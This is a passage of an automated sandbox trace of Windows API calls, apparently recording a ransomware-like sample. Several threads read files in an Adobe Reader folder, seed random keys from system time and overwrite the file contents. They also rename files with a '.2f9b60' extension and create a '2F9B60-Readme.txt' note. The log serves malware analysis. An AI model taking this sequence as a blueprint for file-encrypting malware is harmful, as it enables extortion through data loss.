BaseAddress=0x1cdd9380) returned 1 [0164.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9440) returned 1 [0164.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9470) returned 1 [0164.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230ed20 [0164.211] wcscat (in: _Dest=0x4230ed20, _Source="f6380bfbcdd" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\f6380bfbcdd") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\f6380bfbcdd" [0164.211] wcscat (in: _Dest=0x4230ed20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\f6380bfbcdd.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\f6380bfbcdd.2f9b60" [0164.211] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\f6380bfbcdd.2f9b60", NtPathName=0x27e7f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\f6380bfbcdd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b890 [0165.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2b890) returned 1 [0165.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423acba0) returned 1 [0165.134] NtQueryInformationFile (in: FileHandle=0xa48, IoStatusBlock=0x27e7f798, FileInformation=0x27e7f7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27e7f798, FileInformation=0x27e7f7a8) returned 0x0 [0165.135] NtSetInformationFile (FileHandle=0xa48, IoStatusBlock=0x27e7f798, FileInformation=0x27e7f7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230ed20) returned 1 [0165.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fae40) returned 1 [0165.139] FlushFileBuffers (hFile=0xa48) returned 1 [0166.268] CloseHandle (hObject=0xa48) returned 1 [0184.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4318a720 [0191.534] wcscpy (in: _Dest=0x4318a720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0191.534] wcscat (in: _Dest=0x4318a720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0191.534] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) Thread: id = 2432 os_tid = 0x1e74 [0153.463] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus")) returned 0x20 [0153.463] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS", dwFileAttributes=0x20) returned 1 [0153.464] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1424 [0153.464] GetFileSizeEx (in: hFile=0x1424, lpFileSize=0x2841fdc0 | out: lpFileSize=0x2841fdc0*=7680) returned 1 [0153.464] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.464] ReadFile (in: hFile=0x1424, lpBuffer=0x2841fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2841fd88, lpOverlapped=0x0 | out: lpBuffer=0x2841fd40*, lpNumberOfBytesRead=0x2841fd88*=0x4, lpOverlapped=0x0) returned 1 [0154.231] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9410 [0154.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94a0 [0154.232] NtQuerySystemTime (in: CurrentTime=0x2841fc80 | out: CurrentTime=0x2841fc80*=132462177593614000) returned 0x0 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x10d29ffc [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x6db253a1 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x57e7592a [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x75fbd960 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x1bbe58be [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x73dcf64e [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x1a3d2be5 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x568047a [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x35f0fd21 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x413a08a [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x4410d463 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x254cd1f4 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x64fd5ce3 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x3f4140dd [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x2e7366a [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x42f1e1a1 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x3369568e [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x431cba61 [0154.232] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x3a219469 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x36d110c4 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x7f677944 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x54391f02 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x42d94a46 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x4dacee68 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x3ef57f4e [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x305c289b [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x3e6fba78 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x788b2e6d [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x307bfa55 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x28d732ae [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x71986396 [0154.233] RtlRandomEx (in: Seed=0x2841fc70 | out: Seed=0x2841fc70) returned 0x6c896b41 [0154.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94d0 [0154.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0154.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9500 [0154.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0154.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94a0) returned 1 [0154.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c00 [0154.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0154.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427cae50 [0154.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427cea60 [0154.244] ReadFile (in: hFile=0x1424, lpBuffer=0x427cae50, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2841fc70, lpOverlapped=0x0 | out: lpBuffer=0x427cae50*, lpNumberOfBytesRead=0x2841fc70*=0x1e00, lpOverlapped=0x0) returned 1 [0154.265] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.265] WriteFile (in: hFile=0x1424, lpBuffer=0x427cea60*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2841fc74, lpOverlapped=0x0 | out: lpBuffer=0x427cea60*, lpNumberOfBytesWritten=0x2841fc74*=0x1e00, lpOverlapped=0x0) returned 1 [0162.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7af0 [0162.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b20 [0162.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b20) returned 1 [0162.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427cea60) returned 1 [0162.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427cae50) returned 1 [0162.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0162.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c00) returned 1 [0162.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7b20 [0162.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c00 [0162.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ee10 [0162.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b50 [0162.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b50) returned 1 [0162.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a7b50 [0162.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b80 [0162.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7bb0 [0162.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7bb0) returned 1 [0162.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 [0162.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c00) returned 1 [0162.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x423a9e70 [0162.154] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.154] WriteFile (in: hFile=0x1424, lpBuffer=0x423a9e70*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2841fd90, lpOverlapped=0x0 | out: lpBuffer=0x423a9e70*, lpNumberOfBytesWritten=0x2841fd90*=0x108, lpOverlapped=0x0) returned 1 [0164.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c40 [0164.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053c40) returned 1 [0164.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c40 [0164.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053c10 [0164.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053c10) returned 1 [0164.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f40 [0164.158] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="4b") returned 2 [0164.158] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="f3") returned 2 [0164.158] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="fc") returned 2 [0164.158] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.158] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="cd") returned 2 [0164.158] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="33") returned 2 [0164.158] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="11") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="a8") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="11") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="f0") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="7f") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="11") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="68") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="df") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="6c") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="d0") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.159] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="a7") returned 2 [0164.159] RtlInitAnsiString (in: DestinationString=0x2841fe08, SourceString="4bf3fc0ccd33c011a8ad11f07f1168dfb06cd9d06ba7" | out: DestinationString="4bf3fc0ccd33c011a8ad11f07f1168dfb06cd9d06ba7") [0164.159] RtlAnsiStringToUnicodeString (in: DestinationString=0x2841fdd8, SourceString="4bf3fc0ccd33c011a8ad11f07f1168dfb06cd9d06ba7", AllocateDestinationString=1 | out: DestinationString="4bf3fc0ccd33c011a8ad11f07f1168dfb06cd9d06ba7") returned 0x0 [0164.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fac10 [0164.160] RtlFreeAnsiString (AnsiString="4") [0164.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0164.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053c40) returned 1 [0164.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9e70) returned 1 [0164.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b50) returned 1 [0164.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b80) returned 1 [0164.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b20) returned 1 [0164.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7af0) returned 1 [0164.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9410) returned 1 [0164.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd94d0) returned 1 [0164.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9500) returned 1 [0164.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230ea00 [0164.163] wcscat (in: _Dest=0x4230ea00, _Source="4bf3fc0ccd3" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\4bf3fc0ccd3") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\4bf3fc0ccd3" [0164.163] wcscat (in: _Dest=0x4230ea00, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\4bf3fc0ccd3.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\4bf3fc0ccd3.2f9b60" [0164.163] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\4bf3fc0ccd3.2f9b60", NtPathName=0x2841fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\4bf3fc0ccd3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2b4d0 Thread: id = 2433 os_tid = 0x1e78 [0153.466] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky")) returned 0x20 [0153.466] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY", dwFileAttributes=0x20) returned 1 [0153.466] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1420 [0153.467] GetFileSizeEx (in: hFile=0x1420, lpFileSize=0x284cfbe0 | out: lpFileSize=0x284cfbe0*=7680) returned 1 [0153.467] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.467] ReadFile (in: hFile=0x1420, lpBuffer=0x284cfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x284cfba8, lpOverlapped=0x0 | out: lpBuffer=0x284cfb60*, lpNumberOfBytesRead=0x284cfba8*=0x4, lpOverlapped=0x0) returned 1 [0154.244] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd94a0 [0154.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9530 [0154.245] NtQuerySystemTime (in: CurrentTime=0x284cfaa0 | out: CurrentTime=0x284cfaa0*=132462177593770000) returned 0x0 [0154.245] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x7eb668f3 [0154.245] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x50a77e43 [0154.245] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x541392ba [0154.245] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x6d94ed01 [0154.245] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x6357a684 [0154.245] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x529f13cf [0154.245] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x115516c9 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x4843dbf5 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x6061e35 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x42e1f433 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x60993c96 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x42467ea1 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x7e158f1 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x2c2da8c3 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x4a927f16 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x724a5460 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x3539bd2a [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x35ce3c46 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x6297e9c0 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x16b1718f [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x3aeec407 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x13fbd194 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x2b9b6f1f [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x377fc2d0 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x2924a7ae [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x53c208c5 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x6db0cbdd [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x25f91531 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x39e7dee5 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x26963a6a [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x1484de21 [0154.246] RtlRandomEx (in: Seed=0x284cfa90 | out: Seed=0x284cfa90) returned 0x1eafaf2f [0154.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9560 [0154.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0154.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9590 [0154.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0154.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9530) returned 1 [0154.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c50 [0154.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0154.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427d2670 [0154.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427d6280 [0154.258] ReadFile (in: hFile=0x1420, lpBuffer=0x427d2670, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x284cfa90, lpOverlapped=0x0 | out: lpBuffer=0x427d2670*, lpNumberOfBytesRead=0x284cfa90*=0x1e00, lpOverlapped=0x0) returned 1 [0154.265] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.265] WriteFile (in: hFile=0x1420, lpBuffer=0x427d6280*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x284cfa94, lpOverlapped=0x0 | out: lpBuffer=0x427d6280*, lpNumberOfBytesWritten=0x284cfa94*=0x1e00, lpOverlapped=0x0) returned 1 [0162.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7970 [0162.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a79a0 [0162.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a79a0) returned 1 [0162.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427d6280) returned 1 [0162.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427d2670) returned 1 [0162.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0162.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1c50) returned 1 [0162.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a79a0 [0162.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1c50 [0162.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d490 [0162.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a79d0 [0162.138] 